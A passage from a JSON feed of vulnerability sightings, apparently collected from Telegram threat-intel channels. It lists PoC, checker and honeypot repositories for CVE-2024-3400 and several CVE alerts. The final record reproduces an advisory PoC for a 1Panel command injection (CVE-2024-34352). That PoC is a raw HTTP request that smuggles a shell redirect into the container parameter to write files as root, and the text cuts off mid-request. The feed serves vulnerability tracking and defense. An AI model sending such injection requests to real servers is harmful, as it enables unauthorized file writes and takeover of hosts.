\u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430, \u0433\u043e\u0441\u0442\u0438\u043d\u0438\u0447\u043d\u043e\u0433\u043e \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u0438 \u0432\u043e\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\ud83c\udfe2 \u0412 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 , \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u0432\u043b\u0430\u0441\u0442\u044f\u043c\u0438 13 \u0441\u0442\u0440\u0430\u043d, \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0440\u0435\u043c\u044f \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438: Sichuan Juxinhe Network Technology Co., Ltd., Beijing Huanyu Tianqiong Information Technology Co., Ltd. \u0438 Sichuan Zhixin Ruijie Network Technology Co., Ltd.\n\n\ud83d\udc69\u200d\ud83d\udcbb Salt Typhoon \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u0443\u0442\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043e\u0442 Cisco ( CVE-2018-0171 , CVE-2023-20198 \u0438 CVE-2023-20273 ), Ivanti ( CVE-2023-46805 \u0438 CVE-2024-21887 ) \u0438 Palo Alto Networks ( CVE-2024-3400 ).", "creation_timestamp": "2025-09-12T15:42:01.000000Z"}, {"uuid": "e63a3116-329f-4962-bfa5-74e2f6ad2ffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34166", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1497", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34166\n\ud83d\udd39 Description: An os command injection vulnerability exists in the touchlist_sync.cgi touchlistsync() functionality of Wavlink AC3000 M33A8.V5030.210505. A specially crafted set of HTTP requests can lead to arbitrary code execution. An attacker can send an HTTP request to trigger this vulnerability.\n\ud83d\udccf Published: 2025-01-14T14:21:36.712Z\n\ud83d\udccf Modified: 2025-01-14T14:55:40.050Z\n\ud83d\udd17 References:\n1. https://talosintelligence.com/vulnerability_reports/TALOS-2024-2000", "creation_timestamp": "2025-01-14T15:11:54.000000Z"}, {"uuid": "692095f4-b342-447b-918e-9b2153bf1527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7033", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/bigsclowns/CVE-2024-3400-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-12T18:29:24.000000Z"}, {"uuid": "32db1381-7475-41e5-aac3-3e46743ec8e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7031", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/hubabuba228/CVE-2024-3400-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-12T18:29:02.000000Z"}, {"uuid": "c4d7e757-418b-4acf-9fea-6af84504ceee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7030", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/letsrockmee/CVE-2024-3400-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-12T17:08:18.000000Z"}, {"uuid": "a05c1100-5a1b-43c4-90cc-909c754292db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7029", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/havebeenpwned/CVE-2024-3400-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-12T16:49:56.000000Z"}, {"uuid": "7d93b005-de6e-4077-8e25-d477a89c113f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7064", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/Symbolexe/CVE-2024-1642470\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-15T17:32:48.000000Z"}, {"uuid": "c3f20e5d-781f-44ac-8bfe-2a014a9f46f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7062", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC Remote Code Execution (RCE)  Palo Alto Networks PAN-OS software\nURL\uff1ahttps://github.com/kerberoshacker2/CVE-2024-3400-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-15T16:52:30.000000Z"}, {"uuid": "b6706a44-d645-4f3e-be37-caa7fc9d92e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7074", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400\nURL\uff1ahttps://github.com/W01fh4cker/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-16T16:21:12.000000Z"}, {"uuid": "ed8b8525-05c1-40e8-8481-8cb6a615ce36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7071", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 Palo Alto OS Command Injection\nURL\uff1ahttps://github.com/h4x0r-dz/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-16T14:23:49.000000Z"}, {"uuid": "01507d48-695d-4501-953f-58cd72728d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7065", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect\nURL\uff1ahttps://github.com/AdaniKamal/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-16T01:48:01.000000Z"}, {"uuid": "f506cd10-e04d-48ef-8c1d-6de0b8294766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7079", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA check program for CVE-2024-3400, Palo Alto PAN-OS unauthenticated command injection vulnerability.\nURL\uff1ahttps://github.com/index2014/CVE-2024-3400-Checker\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-17T05:38:39.000000Z"}, {"uuid": "027b8bc6-1557-4647-82fb-1cab9a1b67b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7077", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-3400-RCE\nURL\uff1ahttps://github.com/W01fh4cker/CVE-2024-3400-RCE\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-04-17T01:16:13.000000Z"}, {"uuid": "9ba92257-7239-4310-b3bf-2768101f028b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7076", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect\nURL\uff1ahttps://github.com/ihebski/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-16T21:28:37.000000Z"}, {"uuid": "7fdc5d86-e067-4d59-a01c-5d86ee4af16d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7101", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 : Palo Alto OS Command Injection - POC\nURL\uff1ahttps://github.com/retkoussa/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-17T22:32:13.000000Z"}, {"uuid": "88f4f61a-7e82-4684-a008-42315e098dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34730", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2595", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34730\n\ud83d\udd39 Description: In multiple locations, there is a possible bypass of user consent to enabling new Bluetooth HIDs due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2025-01-21T23:04:42.520Z\n\ud83d\udccf Modified: 2025-01-22T17:41:21.919Z\n\ud83d\udd17 References:\n1. https://source.android.com/security/bulletin/2025-01-01", "creation_timestamp": "2025-01-22T18:02:21.000000Z"}, {"uuid": "41571f7d-8627-4534-b1bf-8e107b879662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34740", "type": "published-proof-of-concept", "source": "Telegram/StnFq2aD-oVk9_iOn0KNijqZJTdZ-dJJ6jhCB9DJIxPvPVY", "content": "", "creation_timestamp": "2025-10-08T21:00:04.000000Z"}, {"uuid": "968a821b-8a55-46ff-a6c6-89108206a60a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34071", "type": "seen", "source": "Telegram/6frfMAlK4Fm82fLbwVLSTsKHrGEMyEleHm8lZEVi8SIyoJNi", "content": "", "creation_timestamp": "2025-02-14T10:05:07.000000Z"}, {"uuid": "50c32ebc-53b4-41dd-b879-58ce18567135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34370", "type": "seen", "source": "Telegram/iH72TI1KasFlKEWFzKBOOXHP5ituq-mdHS7Nw8ciuVxkn5Kh", "content": "", "creation_timestamp": "2025-02-14T10:05:07.000000Z"}, {"uuid": "c2010e86-f560-4f98-b974-322b639ea812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3461", "type": "seen", "source": "Telegram/AIeO1OX9rVcwFAKz0HOkZ3iphnrYd6kUx-2rcVyu-LGXes3H", "content": "", "creation_timestamp": "2025-02-14T10:05:07.000000Z"}, {"uuid": "22d3bf07-de47-49a2-9fcb-a5df0f6742fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7100", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aSimple POC for CVE-2024-3400\nURL\uff1ahttps://github.com/phantomradar/cve-2024-3400-poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-17T21:05:03.000000Z"}, {"uuid": "da6f568a-594b-491b-9e27-9a6ad4aeec60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7083", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400-RCE\nURL\uff1ahttps://github.com/admi-n/CVE-2024-3400-RCE-copy\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-17T08:39:12.000000Z"}, {"uuid": "5935bc02-0824-4438-9ffc-63a24f932f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7113", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3400 POC written in Rust and Python\nURL\uff1ahttps://github.com/Ravaan21/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-18T21:20:23.000000Z"}, {"uuid": "6bbe9dbb-788a-4c1e-8ec0-5989049d072c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7111", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPython script to check Palo Alto firewalls for CVE-2024-3400 exploit attempts\nURL\uff1ahttps://github.com/swaybs/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-18T16:53:17.000000Z"}, {"uuid": "ed16ae14-4253-42f3-8611-1b401ea71f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7108", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aEDL for IPs attacking customers with CVE-2024-3400 \nURL\uff1ahttps://github.com/hahasagined/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-18T15:10:44.000000Z"}, {"uuid": "43f73e11-ece1-414e-a3ac-022b02324868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7125", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit for CVE-2024-3400\nURL\uff1ahttps://github.com/stronglier/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-20T11:55:10.000000Z"}, {"uuid": "419ab1a2-6c89-422d-9234-9d5df15b311c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7121", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExtract useful information from PANOS support file for CVE-2024-3400\nURL\uff1ahttps://github.com/HackingLZ/panrapidcheck\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-19T15:00:35.000000Z"}, {"uuid": "c0d668b8-2e8f-47e5-99fc-8b8ed0b5da05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7120", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aSimple Python code to check for arbitrary uploading for PaloAlto CVE-2024-3400\nURL\uff1ahttps://github.com/codeblueprint/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-19T12:24:50.000000Z"}, {"uuid": "13522895-c1e5-4250-8011-dab708a07c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7117", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aFinding Palo Alto devices vulnerable to CVE-2024-3400.\nURL\uff1ahttps://github.com/pwnj0hn/CVE-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-19T06:42:26.000000Z"}, {"uuid": "68c19753-0b1d-4dbe-9bfb-b5b2428cf506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7130", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPython exploit and checker script for CVE-2024-3400 Palo Alto Command Injection and Arbitrary File Creation\nURL\uff1ahttps://github.com/Kr0ff/cve-2024-3400\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-21T12:39:59.000000Z"}, {"uuid": "c6c119a4-ed73-4283-ac7c-f616217329cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7159", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aSimple honeypot for CVE-2024-3400 Palo Alto PAN-OS Command Injection Vulnerability\nURL\uff1ahttps://github.com/zam89/CVE-2024-3400-pot\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-24T14:25:55.000000Z"}, {"uuid": "59a37bfe-685a-46c7-8a28-b782cbc3328b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34566", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3987", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34566\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-05-08T11:15:24.930\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/custom-post-widget/wordpress-content-blocks-custom-post-widget-plugin-3-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve\n2. https://patchstack.com/database/vulnerability/custom-post-widget/wordpress-content-blocks-custom-post-widget-plugin-3-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "creation_timestamp": "2025-02-12T03:08:13.000000Z"}, {"uuid": "6f68bc0c-91c5-442a-86e8-251487da0b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3459", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3986", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-3459\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-05-14T15:41:12.060\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://cert.pl/en/posts/2024/04/CVE-2024-3459\n2. https://cert.pl/posts/2024/04/CVE-2024-3459\n3. https://www.kioware.com/\n4. https://cert.pl/en/posts/2024/04/CVE-2024-3459\n5. https://cert.pl/posts/2024/04/CVE-2024-3459\n6. https://www.kioware.com/", "creation_timestamp": "2025-02-12T03:08:01.000000Z"}, {"uuid": "e0232652-e368-4fd6-812f-642335dc1868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34566", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4007", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34566\n\ud83d\udd25 CVSS Score: 6.5 (CVSS_V3)\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Johan van der Wijk Content Blocks (Custom Post Widget) allows Stored XSS.This issue affects Content Blocks (Custom Post Widget): from n/a through 3.3.0.\n\ud83d\udccf Published: 2024-05-08T12:30:33Z\n\ud83d\udccf Modified: 2025-02-12T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-34566\n2. https://patchstack.com/database/vulnerability/custom-post-widget/wordpress-content-blocks-custom-post-widget-plugin-3-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "creation_timestamp": "2025-02-12T04:08:57.000000Z"}, {"uuid": "ae5d06d6-cdbc-463a-bfac-f5ba380ea606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://t.me/securixy_kz/882", "content": "", "creation_timestamp": "2026-07-13T00:00:35.762295Z"}, {"uuid": "f550292d-6cfc-41f3-9e88-917514d26643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34352", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3798", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34352\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: ### Summary\nThere are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.\nWe can use the following mirror configuration write symbol `>` to achieve arbitrary file writing\n\n### PoC\nDockerfile\n```\nFROM bash:latest\n\nCOPY echo.sh /usr/local/bin/echo.sh\nRUN chmod +x /usr/local/bin/echo.sh\nCMD [\"echo.sh\"]\n```\necho.sh\n```\n#!/usr/local/bin/bash\necho \"Hello, World!\"\n```\nBuild this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container\nSend the following packet, taking care to change the containerID to the malicious container we constructed\n\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nThen you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges\n```\nGET 